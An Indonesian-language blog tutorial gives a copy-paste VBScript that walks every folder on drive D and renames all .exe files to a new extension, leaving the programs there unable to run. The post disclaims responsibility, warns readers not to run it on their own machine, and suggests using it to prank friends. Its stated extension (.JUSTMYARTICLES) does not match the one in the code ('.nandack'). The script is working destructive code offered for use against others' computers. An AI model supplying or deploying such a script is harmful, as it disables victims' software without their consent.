Membuat File VBS Perubah Ekstensi

Selamat datang di blog ku…

Kali ini, aku pengen ngasih tahu kalian tentang cara membuat file yang mana ketika dijalankan nantinya akan secara otomatis merubah seluruh ekstensi file EXECUTABLE atau “.EXE” (tanpa tanda kutip) pada drive atau local disk D (nanti bisa dirubah sendiri drive targetnya). File ini merubah ekstensi .EXE menjadi .JUSTMYARTICLES dan tentunya nanti seluruh file executable di drive D tidak dapat dijalankan (untuk SEMENTARA!).

Nah… Dari pada kebanyakan ngemeng mending langsung go to the field.

Now, persiapan yang dibutuhkan adalah :

  1. Segelas Kopi Hangat (yang manis biar ga haus :D).
  2. Camilan yang manis atau gurih.
  3. Tentunya Komputer yang work alias bisa bekerja dengan baik!
  4. NOTEPAD.EXE – Pasti di setiap Komputer ber-OS windows udah ada kan?
  5. Percaya Diri (100% harus!).

Okelah kalau begitu, sekarang kita langsung saja praktekkan dan membuat sebuah file perubah ekstensi executable sederhana dengan Visual Basic Script. AKU GA BERTANGGUNG JAWAB ATAS KESALAHAN YANG TERJADI ATAU KERUSAKAN DAN LAINNYA… ITU TANGGUNG JAWAB KALIAN!

 

Prosedure :

  1. Nyalain Komputer
  2. Kalau desktop udah muncul, klik START menu > All Programs > Accessories > NOTEPAD
  3. Saat notepad udah jalan, sekarang tinggal mulai coding
  4. Kalau pengen lebih mudah, copy and paste aja script di bawah ini…

 

Dim Drive, Root, fname

Drive = “D” ‘Drive yang akan di proses atau target

Set Root = CreateObject(“Scripting.FileSystemObject”). _

GetDrive(Drive).RootFolder

Set fname = New RegExp

With fname

.Pattern = “\.exe$”

.IgnoreCase = True

.Global = False

.Multiline = False

End With

Call Rename(Root, fname)

Sub Rename(Folder, RegExp)

Dim SubFolder, File

For Each File in Folder.Files

If RegExp.Test(File.Name) Then

File.Name = RegExp.Replace(File.Name, “.nandack”) ‘hasil ekstensi  renamenya

End If

Next

For Each SubFolder In Folder.SubFolders

Call Rename(SubFolder, RegExp)

Next

End Sub

 

  1. Nah, script itu nanti di SAVE AS… Pada box “Save as Type” diganti menjadi All Files

 

  1. Ganti FILE NAME menjadi “justmyarticles-renamer.vbs” (tanpa tanda petik) lalu klik simpan
  2. Ntar (seharusnya) icon-nya kayak gini

 

  1. INGAT! Jangan jalankan file tersebut di computer sendiri, ntar file EXE nya ke rename semua, untuk ngejahilin temen juga bisa wkwkwkw…
Categories: Uncategorized | Tags: | Leave a comment

Post navigation

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Blog at WordPress.com.

%d bloggers like this: